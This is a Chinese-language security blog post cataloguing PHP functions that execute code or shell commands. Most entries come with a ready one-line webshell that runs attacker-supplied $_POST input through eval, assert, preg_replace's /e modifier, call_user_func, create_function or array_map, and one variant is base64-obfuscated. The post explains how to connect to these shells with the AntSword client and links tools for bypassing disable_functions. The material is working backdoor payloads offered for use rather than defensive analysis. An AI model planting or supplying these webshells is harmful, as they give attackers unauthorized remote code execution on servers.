代码执行/命令执行总结
php的代码执行/命令执行函数
1 代码执行
1.1 eval
(PHP 4, PHP 5, PHP 7)
eval( string $code) : mixed把字符串 code 作为PHP代码执行。
eval($_POST['c']);直接蚁剑链接密码为c
1.2 assert
(PHP 4, PHP 5, PHP 7)
assert( mixed $assertion[, Throwable $exception]) : bool如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
使用方法同eval
assert($_POST['c']);1.3 preg_replace
preg_replace ( mixed $pattern,mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed(PHP 4, PHP 5, PHP 7)
preg_replace — 执行一个正则表达式的搜索和替换 搜索subject中匹配pattern的部分, 以replacement进行替换。
当使用被弃用的 e 修饰符时, 这个函数会转义一些字符(即:'、"、 \ 和 NULL
然后进行后向引用替换。在完成替换后, 引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。
举个栗子:
echo preg_replace('/chabug/e','phpinfo()','asdasdchabugasd');/e修饰符前的正则表达式匹配后面的字符串参数,将chabug字符串替换为phpinfo()并且以eval()的方式执行。
一句话:
echo preg_replace('/.*/e',$_POST['c'],'');1.4 call_user_func
call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed(PHP 4, PHP 5, PHP 7)
call_user_func — 把第一个参数作为回调函数调用
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
举个例子:
call_user_func('phpinfo');一句话shell:
call_user_func($_POST['a'], $_POST['c']);蚁剑链接
需要设置http body和编码器
1.5 call_user_func_array
call_user_func_array ( callable $callback , array $param_arr ) : mixedcall_user_func_array 调用回调函数,并把一个数组参数作为回调函数的参数
举个例子:
call_user_func_array($_POST['a'], $_POST['c']);和上一个函数相比只是将$c改为数组传入,蚁剑连接方式同理。
1.6 create_function
create_function ( string $args , string $code ) : stringcreate_function函数接收两个参数$args 和 $code 然后组成新函数function_lambda_func($args){$code;} 并eval(function_lambda_func($args){$code;})
我们不需要传参数,直接把$code改为普通的一句话就行了。
$c=create_function("", base64_decode('QGV2YWwoJF9QT1NUWyJjIl0pOw=='));$c();密码c
1.7 array_map
array_map ( callable $callback , array $array1 [, array $... ] ) : array返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。
一句话:
array_map('assert',array($_POST['c']));还有诸如array_filter、uksort、uasort、array_walk + preg_replace、preg_filter、mb_ereg_replace、register_shutdown_function、filter_var
更多的回调函数请移步 创造tips的秘籍——PHP回调后门
2 命令执行
2.1 system
system ( string $command [, int &$return_var ] ) : stringsystem — 执行外部程序,并且显示输出,本函数执行 command 参数所指定的命令, 并且输出执行结果。
system('whoami');2.2 passthru
passthru ( string $command [, int &$return_var ] ) : voidpassthru — 执行外部程序并且显示原始输出
passthru('whoami');2.3 exec
exec ( string $command [, array &$output [, int &$return_var ]] ) : stringexec() 执行 command 参数所指定的命令。
echo exec("whoami");2.4 pcntl_exec
pcntl_exec ( string $path [, array $args [, array $envs ]] ) : voidpcntl_exec — 在当前进程空间执行指定程序
$path指定可执行二进制文件路径
pcntl_exec ( "/bin/bash" , array("whoami"));该模块不能在非Unix平台(Windows)上运行。
2.5 shell_exec
shell_exec ( string $cmd ) : string通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
echo shell_exec('whoami');2.6 popen
popen ( string $command , string $mode ) : resource打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
$handle = popen('cmd.exe /c whoami', 'r');
$read = fread($handle, 2096);
echo $read;
pclose($handle);与之对应的还有proc_open()函数
2.7 反引号
在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回,使用反引号运算符的效果与函数 shell_exec() 相同。
echo `whoami`;2.8 ob_start
ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] ) : bool$cmd = 'system';
ob_start($cmd);
echo "$_GET[a]";
ob_end_flush();实际上还是通过回调system函数,绕不过disablefunc
2.9 mail
讲不清楚,直接贴链接
3 bypass_disablefunc
https://github.com/l3m0n/Bypass_Disable_functions_Shell
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
4 参考链接
参考各位师傅的文章
如果你觉得这篇文章对你有所帮助,欢迎赞赏或关注微信公众号~






